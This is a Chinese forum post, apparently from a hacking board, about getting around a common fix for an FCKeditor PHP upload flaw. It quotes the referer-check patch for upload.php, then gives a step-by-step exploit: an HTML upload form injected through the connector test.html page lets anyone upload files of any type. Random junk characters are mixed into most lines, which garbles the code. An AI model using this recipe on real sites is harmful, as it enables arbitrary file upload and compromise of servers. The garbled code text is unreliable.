找回密码
 立即注册
查看: 2555|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php. W: b( i' Z6 b7 Z& Q
网上给出的修复方案是3 r3 A6 N9 J* q5 q
修复方法,删除FCK编辑器用其他的编辑器
; A* }1 O. u7 V' [  P  M& |  d或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件/ r5 U3 O- Z6 A$ y& r

3 r/ @. V) c" w% Xrequire(‘config.php’);
0 ]) q. ?) \$ D6 L. G3 V9 C' Xrequire(‘util.php’);1 l2 v! a) r8 T
的下面添加以下代码—————————–7 O* L9 f  B: ~9 B0 Y, B( p
//防止外部提交
, {0 f6 Z+ ?7 q6 e/ G; N" \, U3 mfunction outsidepost()/ j7 T0 F( J8 T! p4 ?( l. t1 p
{/ L6 x$ C7 T. m8 G
$servername=$_SERVER['SERVER_NAME'];
3 C7 B1 O$ G# e$sub_from=@$_SERVER['HTTP_REFERER'];6 T* R3 s2 U0 @4 G+ A
$sub_len=strlen($servername);
( o. F- R3 Q' A2 ]! }8 X# U9 {$checkfrom=substr($sub_from,7,$sub_len);7 R9 x7 `- B! j6 Q# \. S
if($checkfrom!=$servername){5 L5 O+ U8 U5 k8 h( ~; \
echo(“you don’t outsidepost!”);
, @5 S: H! s2 [6 a  T7 `$ n& lexit;) B1 r" H: U  D* @! I
}5 Y! {& f) M; r! j1 Y. L
}9 _3 \1 }% Z/ d  ~* ]9 r8 \& ?
outsidepost();
; o( e* R8 Q9 ?' s) l; K, {$ _防止外部提交,但是没有防止内部提交,
: T& ~* A# O+ e! S0 B$ r利用方法:% t) U1 }2 r( V6 f# h% L
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html* Z- z8 K' K/ s! R
2,在Current Folder 框输入, B' m) P. H/ T5 y1 B- _  i3 q" Q
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
: m# J8 n  f2 K3 E$ I然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。6 r8 N. o( V& O8 B4 M: z+ G3 x
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表